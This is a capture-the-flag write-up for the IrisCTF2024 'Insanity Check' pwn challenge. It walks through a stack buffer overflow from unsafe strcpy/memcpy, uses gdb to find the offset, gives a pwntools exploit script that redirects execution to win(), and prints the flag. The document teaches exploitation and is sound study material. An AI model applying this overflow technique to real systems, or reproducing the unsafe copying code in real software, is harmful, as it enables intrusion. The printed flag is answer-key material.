Insanity Check

Overview

The unsafe memcpy usage in the main() function causes Buffer Overflow which causes us being able to overwrite the RSP and return to the targeted address win() function. However, our input will only causes Buffer Overflow but the predefined suffix in the main() function will be populated in RSP. Turns out the targeted function win() address is the same value as the string .com

File Analysis

Security checking

vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c2d6acffbfd9fd36c0a8089feffe3ce53f3eabba, for GNU/Linux 4.4.0, not stripped
checksec --file vuln
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x40000000)

Key Points

  • possible buffer overflow
  • function address not randomized

Checking the source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) {
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);
    rstrip(name, 64);

    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);
}

__attribute__((section(".flag")))
void win() {
    __asm__("pop %rdi");
    system("cat /flag");
}

Target function

Found a target function which is win()

0x000000006d6f632e  win

Vulnerabilities

The user needs to input max 64 Characters However unsafe memcpy usage in the main() function resulting in buffer overflow

strcpy(message, "Hi there, ");
strcpy(message + strlen(message), name);
memcpy(message + strlen(message), suffix, sizeof(suffix));
len("Hi there, ") = 10
len(input) = 64 max
len(suffix) = 94
total = 160

Buffer overflow can occur

Exploitation

0x000000006d6f632e win is the address of the win() function unhex(0x000000006d6f632e) = moc. In the suffix there is '.com' which we can overwrite the RSP with it

Finding the offsets

To find the offsets we need to use debugger, in my case we use gdb-pwndbg

First we need to input max number of char

*RSP  0x7fffffffdce8 ◂— 'example.com' or 0x2e656c706d617865

RSP were populated with 'example.com'. To have only .com in the RSP, we need to substract 'example'. Which is 64 - 7 = 57

Invalid address 0x6d6f632e65 -> e.com

Opps, we need another more. thus the offsets is 64-8 = 56. We can craft our payload using PWNTOOLS or manually.

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# libc = elf.libc
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
io = start()

payload = flat(
    b'A' * 56,
    )


io.sendline(payload)
print(io.recv())
io.interactive()

irisctf{c0nv3n13nt_symb0l_pl4cem3nt}